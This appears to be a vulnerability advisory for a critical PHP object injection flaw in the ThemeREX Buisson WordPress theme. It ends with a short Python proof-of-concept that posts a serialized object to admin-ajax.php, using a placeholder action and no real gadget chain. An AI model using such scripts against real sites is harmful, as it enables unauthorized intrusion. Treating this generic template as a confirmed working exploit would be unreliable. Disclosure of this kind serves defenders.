Deserialization of Untrusted Data vulnerability in ThemeREX Buisson buisson allows Object Injection.This issue affects Buisson: from n/a through <= 1.1.11.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
ThemeREX Buisson <= 1.1.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
import requests
# PoC for CVE-2026-27084
# Target: ThemeREX Buisson <= 1.1.11
# Vulnerability: PHP Object Injection via Unserialization
target_url = "http://target-site.com/wp-admin/admin-ajax.php"
# Generic PHP Object Injection payload (Replace with specific gadget chain if available)
# Example: Using a simple test object to demonstrate injection
payload = 'O:8:"stdClass":0:{}'
data = {
"action": "vulnerable_action", # Placeholder for actual parameter
"data": payload
}
try:
response = requests.post(target_url, data=data)
if response.status_code == 200:
print("[+] Payload sent successfully.")
print(f"[+] Response: {response.text[:100]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")